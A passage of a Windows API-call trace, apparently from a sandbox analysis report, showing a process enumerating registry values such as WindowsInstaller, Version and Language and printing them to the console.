lpUsedDefaultChar=0x0) returned 1 [0150.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.389] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.389] GetProcessHeap () returned 0x3c0000 [0150.389] GetProcessHeap () returned 0x3c0000 [0150.389] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.389] GetProcessHeap () returned 0x3c0000 [0150.389] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.389] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.389] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.389] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.389] GetProcessHeap () returned 0x3c0000 [0150.389] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.389] GetProcessHeap () returned 0x3c0000 [0150.389] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.389] GetProcessHeap () returned 0x3c0000 [0150.389] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.389] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.389] __iob_func () returned 0x7fefd702a80 [0150.389] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.389] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.389] _fileno (_File=0x7fefd702ab0) returned 1 [0150.389] _errno () returned 0x204bb0 [0150.389] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.389] _errno () returned 0x204bb0 [0150.389] GetFileType (hFile=0x50) returned 0x1 [0150.389] lstrlenW (lpString=" ") returned 4 [0150.389] GetConsoleOutputCP () returned 0x1b5 [0150.389] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.390] GetConsoleOutputCP () returned 0x1b5 [0150.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.390] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.390] __iob_func () returned 0x7fefd702a80 [0150.390] _fileno (_File=0x7fefd702ab0) returned 1 [0150.390] _errno () returned 0x204bb0 [0150.390] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.390] _errno () returned 0x204bb0 [0150.390] GetFileType (hFile=0x50) returned 0x1 [0150.390] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.390] GetConsoleOutputCP () returned 0x1b5 [0150.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.390] GetConsoleOutputCP () returned 0x1b5 [0150.390] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0150.390] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.390] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.390] __iob_func () returned 0x7fefd702a80 [0150.390] _fileno (_File=0x7fefd702ab0) returned 1 [0150.390] _errno () returned 0x204bb0 [0150.390] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.390] _errno () returned 0x204bb0 [0150.390] GetFileType (hFile=0x50) returned 0x1 [0150.391] lstrlenW (lpString=" ") returned 4 [0150.391] GetConsoleOutputCP () returned 0x1b5 [0150.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.391] GetConsoleOutputCP () returned 0x1b5 [0150.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.391] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.391] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.391] __iob_func () returned 0x7fefd702a80 [0150.391] _fileno (_File=0x7fefd702ab0) returned 1 [0150.391] _errno () returned 0x204bb0 [0150.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.391] _errno () returned 0x204bb0 [0150.391] GetFileType (hFile=0x50) returned 0x1 [0150.391] lstrlenW (lpString="REG_DWORD") returned 9 [0150.391] GetConsoleOutputCP () returned 0x1b5 [0150.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.391] GetConsoleOutputCP () returned 0x1b5 [0150.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.391] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.391] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.392] __iob_func () returned 0x7fefd702a80 [0150.392] _fileno (_File=0x7fefd702ab0) returned 1 [0150.392] _errno () returned 0x204bb0 [0150.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.392] _errno () returned 0x204bb0 [0150.392] GetFileType (hFile=0x50) returned 0x1 [0150.392] lstrlenW (lpString=" ") returned 4 [0150.392] GetConsoleOutputCP () returned 0x1b5 [0150.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.392] GetConsoleOutputCP () returned 0x1b5 [0150.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.392] __iob_func () returned 0x7fefd702a80 [0150.392] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.392] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.392] _fileno (_File=0x7fefd702ab0) returned 1 [0150.392] _errno () returned 0x204bb0 [0150.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.392] _errno () returned 0x204bb0 [0150.392] GetFileType (hFile=0x50) returned 0x1 [0150.392] lstrlenW (lpString="0x1") returned 3 [0150.392] GetConsoleOutputCP () returned 0x1b5 [0150.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.393] GetConsoleOutputCP () returned 0x1b5 [0150.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.393] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.393] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.393] __iob_func () returned 0x7fefd702a80 [0150.393] _fileno (_File=0x7fefd702ab0) returned 1 [0150.393] _errno () returned 0x204bb0 [0150.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.393] _errno () returned 0x204bb0 [0150.393] GetFileType (hFile=0x50) returned 0x1 [0150.393] lstrlenW (lpString="\n") returned 1 [0150.393] GetConsoleOutputCP () returned 0x1b5 [0150.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.394] GetConsoleOutputCP () returned 0x1b5 [0150.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.394] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.394] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.394] GetProcessHeap () returned 0x3c0000 [0150.394] GetProcessHeap () returned 0x3c0000 [0150.394] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.394] GetProcessHeap () returned 0x3c0000 [0150.394] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.394] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.394] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.394] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.394] GetProcessHeap () returned 0x3c0000 [0150.394] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.394] GetProcessHeap () returned 0x3c0000 [0150.394] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.394] GetProcessHeap () returned 0x3c0000 [0150.394] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.394] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xa000000, pcbData=0x29f780*=0x4) returned 0x0 [0150.394] __iob_func () returned 0x7fefd702a80 [0150.394] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.394] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.394] _fileno (_File=0x7fefd702ab0) returned 1 [0150.394] _errno () returned 0x204bb0 [0150.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.395] _errno () returned 0x204bb0 [0150.395] GetFileType (hFile=0x50) returned 0x1 [0150.395] lstrlenW (lpString=" ") returned 4 [0150.395] GetConsoleOutputCP () returned 0x1b5 [0150.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.395] GetConsoleOutputCP () returned 0x1b5 [0150.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.395] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.395] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.395] lstrlenW (lpString="Version") returned 7 [0150.395] __iob_func () returned 0x7fefd702a80 [0150.395] _fileno (_File=0x7fefd702ab0) returned 1 [0150.395] _errno () returned 0x204bb0 [0150.395] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.395] _errno () returned 0x204bb0 [0150.395] GetFileType (hFile=0x50) returned 0x1 [0150.395] lstrlenW (lpString="Version") returned 7 [0150.395] GetConsoleOutputCP () returned 0x1b5 [0150.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.395] GetConsoleOutputCP () returned 0x1b5 [0150.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0150.396] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.396] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.396] __iob_func () returned 0x7fefd702a80 [0150.396] _fileno (_File=0x7fefd702ab0) returned 1 [0150.396] _errno () returned 0x204bb0 [0150.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.396] _errno () returned 0x204bb0 [0150.396] GetFileType (hFile=0x50) returned 0x1 [0150.396] lstrlenW (lpString=" ") returned 4 [0150.396] GetConsoleOutputCP () returned 0x1b5 [0150.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.396] GetConsoleOutputCP () returned 0x1b5 [0150.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.396] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.396] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.396] __iob_func () returned 0x7fefd702a80 [0150.396] _fileno (_File=0x7fefd702ab0) returned 1 [0150.396] _errno () returned 0x204bb0 [0150.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.396] _errno () returned 0x204bb0 [0150.396] GetFileType (hFile=0x50) returned 0x1 [0150.396] lstrlenW (lpString="REG_DWORD") returned 9 [0150.396] GetConsoleOutputCP () returned 0x1b5 [0150.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.397] GetConsoleOutputCP () returned 0x1b5 [0150.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.397] __iob_func () returned 0x7fefd702a80 [0150.397] _fileno (_File=0x7fefd702ab0) returned 1 [0150.397] _errno () returned 0x204bb0 [0150.397] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.397] _errno () returned 0x204bb0 [0150.397] GetFileType (hFile=0x50) returned 0x1 [0150.397] lstrlenW (lpString=" ") returned 4 [0150.397] GetConsoleOutputCP () returned 0x1b5 [0150.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.397] GetConsoleOutputCP () returned 0x1b5 [0150.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.397] __iob_func () returned 0x7fefd702a80 [0150.397] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.398] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa000000") returned 9 [0150.398] _fileno (_File=0x7fefd702ab0) returned 1 [0150.398] _errno () returned 0x204bb0 [0150.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.398] _errno () returned 0x204bb0 [0150.398] GetFileType (hFile=0x50) returned 0x1 [0150.398] lstrlenW (lpString="0xa000000") returned 9 [0150.398] GetConsoleOutputCP () returned 0x1b5 [0150.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa000000", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.398] GetConsoleOutputCP () returned 0x1b5 [0150.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa000000", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa000000", lpUsedDefaultChar=0x0) returned 9 [0150.398] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.398] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.398] __iob_func () returned 0x7fefd702a80 [0150.398] _fileno (_File=0x7fefd702ab0) returned 1 [0150.398] _errno () returned 0x204bb0 [0150.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.398] _errno () returned 0x204bb0 [0150.398] GetFileType (hFile=0x50) returned 0x1 [0150.398] lstrlenW (lpString="\n") returned 1 [0150.398] GetConsoleOutputCP () returned 0x1b5 [0150.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.398] GetConsoleOutputCP () returned 0x1b5 [0150.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.399] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.399] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.399] GetProcessHeap () returned 0x3c0000 [0150.399] GetProcessHeap () returned 0x3c0000 [0150.399] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.399] GetProcessHeap () returned 0x3c0000 [0150.399] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.399] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.399] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.399] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.399] GetProcessHeap () returned 0x3c0000 [0150.399] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.399] GetProcessHeap () returned 0x3c0000 [0150.399] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.399] GetProcessHeap () returned 0x3c0000 [0150.399] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.399] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.399] __iob_func () returned 0x7fefd702a80 [0150.399] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.399] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.399] _fileno (_File=0x7fefd702ab0) returned 1 [0150.399] _errno () returned 0x204bb0 [0150.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.399] _errno () returned 0x204bb0 [0150.399] GetFileType (hFile=0x50) returned 0x1 [0150.399] lstrlenW (lpString=" ") returned 4 [0150.399] GetConsoleOutputCP () returned 0x1b5 [0150.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.400] GetConsoleOutputCP () returned 0x1b5 [0150.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.400] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.400] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.400] lstrlenW (lpString="Language") returned 8 [0150.400] __iob_func () returned 0x7fefd702a80 [0150.400] _fileno (_File=0x7fefd702ab0) returned 1 [0150.400] _errno () returned 0x204bb0 [0150.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.400] _errno () returned 0x204bb0 [0150.400] GetFileType (hFile=0x50) returned 0x1 [0150.400] lstrlenW (lpString="Language") returned 8 [0150.400] GetConsoleOutputCP () returned 0x1b5 [0150.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.400] GetConsoleOutputCP () returned 0x1b5 [0150.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0150.400] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.400] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.400] __iob_func () returned 0x7fefd702a80 [0150.400] _fileno (_File=0x7fefd702ab0) returned 1 [0150.401] _errno () returned 0x204bb0 [0150.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.401] _errno () returned 0x204bb0 [0150.401] GetFileType (hFile=0x50) returned 0x1 [0150.401] lstrlenW (lpString=" ") returned 4 [0150.401] GetConsoleOutputCP () returned 0x1b5 [0150.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.401] GetConsoleOutputCP () returned 0x1b5 [0150.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.401] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.401] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.401] __iob_func () returned 0x7fefd702a80 [0150.401] _fileno (_File=0x7fefd702ab0) returned 1 [0150.401] _errno () returned 0x204bb0 [0150.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.401] _errno () returned 0x204bb0 [0150.401] GetFileType (hFile=0x50) returned 0x1 [0150.401] lstrlenW (lpString="REG_DWORD") returned 9 [0150.401] GetConsoleOutputCP () returned 0x1b5 [0150.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, 